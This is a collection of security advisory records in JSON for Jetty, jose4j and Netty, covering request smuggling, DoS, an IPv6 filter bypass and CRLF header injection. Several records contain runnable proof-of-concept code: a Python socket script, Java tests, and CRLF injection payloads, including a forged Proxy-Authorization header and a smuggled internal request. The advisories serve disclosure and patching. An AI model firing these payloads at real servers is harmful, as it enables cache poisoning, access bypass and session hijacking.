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        "datePublic": "2026-04-15T09:06:15.617Z",
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    "severity": "HIGH"
  },
  "details": "### Description (as reported)\n\nJetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n### Background\n\nThis vulnerability is a new variant discovered while researching the \"Funky Chunks\" HTTP request smuggling techniques:\n- https://w4ke.info/2025/06/18/funky-chunks.html\n- https://w4ke.info/2025/10/29/funky-chunks-2.html\n\nThe original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.\n\n### Technical Details\n\n**RFC 9112 Section 7.1.1** defines chunked transfer encoding:\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nA quoted-string continues until the closing DQUOTE, and `\\r\\n` sequences are not permitted within the quotes.\n\n### Vulnerability\n\nJetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of treating this as an error.\n\n**Expected (RFC compliant):**\n```\nChunk: 1;a=\"value\\r\\nhere\"\\r\\n\n         ^^^^^^^^^^^^^^^^^^ extension value\nBody: [1 byte after the real \\r\\n]\n```\n\n**Actual (jetty):**\n```\nChunk: 1;a=\"value\n            ^^^^^ terminates here (WRONG)\nBody: here\"... treated as body/next request\n```\n\n### Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n    b\"POST / HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Transfer-Encoding: chunked\\r\\n\"\n    b\"\\r\\n\"\n    b\u00271;a=\"\\r\\n\u0027\n    b\"X\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n    b\"GET /smuggled HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Content-Length: 11\\r\\n\"\n    b\"\\r\\n\"\n    b\u0027\"\\r\\n\u0027\n    b\"Y\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n    try:\n        chunk = sock.recv(4096)\n        if not chunk:\n            break\n        response += chunk\n    except socket.timeout:\n        break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** Server returns 2 HTTP responses from a single TCP connection.\n\n#### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|--------|-----------|-----------|\n| jetty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED!) |\n| RFC compliant | POST / body=\"Y\" | (none - smuggled request hidden in extension) |\n\n### Impact\n\n- **Request Smuggling**: Attacker injects arbitrary HTTP requests\n- **Cache Poisoning**: Smuggled responses poison shared caches\n- **Access Control Bypass**: Smuggled requests bypass frontend security\n- **Session Hijacking**: Smuggled requests can steal other users\u0027 responses\n\n### Reproduction\n\n1. Start the minimal POC with docker\n2. Run the poc script provided in same zip\n\n### Suggested Fix\n\nEnsure the chunk framing and extensions are parsed exactly as specified in RFC9112. \nA CRLF inside a quoted-string should be considered a parsing error and not a line terminator.\n\n\n### Patches\nNo patches yet.\n\n### Workarounds\nNo workarounds yet.\n\n### References\n\n- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)\n- Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html\n- details for security versions https://jetty.org/security.html",
  "id": "GHSA-355h-qmc2-wpwf",
  "modified": "2026-05-20T00:30:03Z",
  "published": "2026-04-14T23:40:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-355h-qmc2-wpwf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2332"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jetty/jetty.project"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/cve-assignment/-/issues/89"
    },
    {
      "type": "WEB",
      "url": "https://w4ke.info/2025/06/18/funky-chunks.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bitbucket.b_c:jose4j"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-29371"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1259"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-18T15:34:32Z",
    "nvd_published_at": "2025-12-17T16:16:04Z",
    "severity": "HIGH"
  },
  "details": "In jose4j before 0.9.6, an attacker can cause a Denial-of-Service (DoS) condition by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression.",
  "id": "GHSA-3677-xxcr-wjqv",
  "modified": "2026-01-06T19:46:21Z",
  "published": "2025-12-17T18:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29371"
    },
    {
      "type": "WEB",
      "url": "https://bitbucket.org/b_c/jose4j/commits/19a90a64c47bb07c4aa5462f1316d5c293d81fcf"
    },
    {
      "type": "WEB",
      "url": "https://bitbucket.org/b_c/jose4j/issues/220/vuln-zip-bomb-attack"
    },
    {
      "type": "PACKAGE",
      "url": "https://bitbucket.org/b_c/jose4j/wiki/Home"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jose4j is vulnerable to DoS via compressed JWE content"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:22:27Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn\u0027t reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n    public void test() {\n        String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"Transfer-Encoding: chunked, identity\\r\\n\" +\n                \"Content-Length: 48\\r\\n\" +\n                \"\\r\\n\" +\n                \"0\\r\\n\" +\n                \"\\r\\n\" +\n                \"GET /smuggled HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"\\r\\n\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n        // Request 1\n        HttpRequest request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n        assertFalse(request.headers().contains(\"Content-Length\"));\n        LastHttpContent last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n\n        // Request 2\n        request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n    }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
  "id": "GHSA-38f8-5428-x5cv",
  "modified": "2026-05-14T20:41:21Z",
  "published": "2026-05-07T00:22:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.14.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.15.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.134.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.135.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-697"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-08T19:00:33Z",
    "nvd_published_at": "2026-06-11T22:16:56Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions.\n\n### Details\n`io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress)` method performs a bitwise AND between the incoming IP address and the configured networkAddress, instead of the subnetMask.\n\n### Impact\nAccess Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls.",
  "id": "GHSA-3qp7-7mw8-wx86",
  "modified": "2026-06-12T19:27:07Z",
  "published": "2026-06-08T19:00:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-3qp7-7mw8-wx86"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44249"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has an IPv6 Subnet Filter Bypass via Incorrect Comparator Masking"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:11:40Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "LOW"
  },
  "details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n    // ...\n    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n        .withValidation(false);  // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n    FullHttpRequest req = new DefaultFullHttpRequest(\n        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n    req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n    if (authorization != null) {\n        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n    }\n\n    if (outboundHeaders != null) {\n        req.headers().add(outboundHeaders);  // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n    }\n\n    return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput);  // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4=    \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n        // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n            .withValidation(false);\n\n        FullHttpRequest req = new DefaultFullHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n            \"target.com:443\",\n            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n        req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n        // Inject CRLF in header value\n        String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n        req.headers().set(\"X-Forwarded-For\", malicious);\n\n        // Encode to wire format\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n        ch.writeOutbound(req);\n        ByteBuf out = ch.readOutbound();\n        String encoded = out.toString(StandardCharsets.UTF_8);\n        out.release();\n        ch.finishAndReleaseAll();\n\n        System.out.println(\"Wire format:\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n        System.out.println(\"VULNERABLE: \" +\n            (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n    }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n  Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n  Header accepted: YES (validation disabled!)\n  Wire format:\n    CONNECT target.com:443 HTTP/1.1\\r\n    host: target.com:443\\r\n    X-Forwarded-For: 1.2.3.4\\r\n    X-Forwarded-For: 127.0.0.1\\r          \u003c-- INJECTED\n    X-Admin: true\\r                        \u003c-- INJECTED\n    \\r\n\n  Injected X-Admin header in wire: true\n  VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n  With validation=true:\n    SAFE: Rejected - IllegalArgumentException\n  With validation=false:\n    VULNERABLE: Accepted CRLF in header value!\n    Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n    for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n        HttpUtil.validateHeaderValue(entry.getValue());\n    }\n    req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
  "id": "GHSA-45q3-82m4-75jr",
  "modified": "2026-05-14T20:40:54Z",
  "published": "2026-05-07T00:11:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.14.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.15.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.134.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.135.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T20:46:56Z",
    "nvd_published_at": "2026-06-12T16:16:32Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nNetty HTTP/2 max header size handling produces attack similar to HTTP/2 Rapid Reset.\n\n### Details\n\nThere is a setting in the http2 specification called `SETTINGS_MAX_HEADER_LIST_SIZE`. According to[ the RFC](https://www.rfc-editor.org/rfc/rfc9113.html#name-defined-settings): \u201cThis advisory setting informs a peer of the maximum field section size that the sender is prepared to accept, in units of octets.\u201d\n\nWhen a client sends that setting to Netty, it appears that Netty will behave as follows:\n\n- Read the request\n- Proxy the request to the origin\n- Attempt to produce a response\n- Create an exception while writing the headers for the response\n\nFunctionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature.\n\n## Remediation\n\nWhen speaking with clients, Netty should potentially treat this as \u201cadvisory\u201d and ignore it.  It would be best to ignore the SETTINGS_MAX_HEADER_LIST_SIZE setting from clients (or ignore it when sending to clients). According to the spec, a server does not need to honor this advisory setting, and it appears that other http/2 implementations ignore it when acting as a server.\n\n### Impact\n\nThis is a DDoS attack similar to the HTTP/2 Rapid Reset Attack.\n\n## Credit\nJonathan Looney (Engineering, Netflix)\n\n## Contact\nAshley Tolbert (Security, Netflix) - artolbert@netflix.com",
  "id": "GHSA-563q-j3cm-6jxm",
  "modified": "2026-06-15T20:46:56Z",
  "published": "2026-06-15T20:46:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-563q-j3cm-6jxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50560"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc9113.html#name-defined-settings"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty susceptible to HTTP/2 Reset Attack with different on-the-wire signature"
}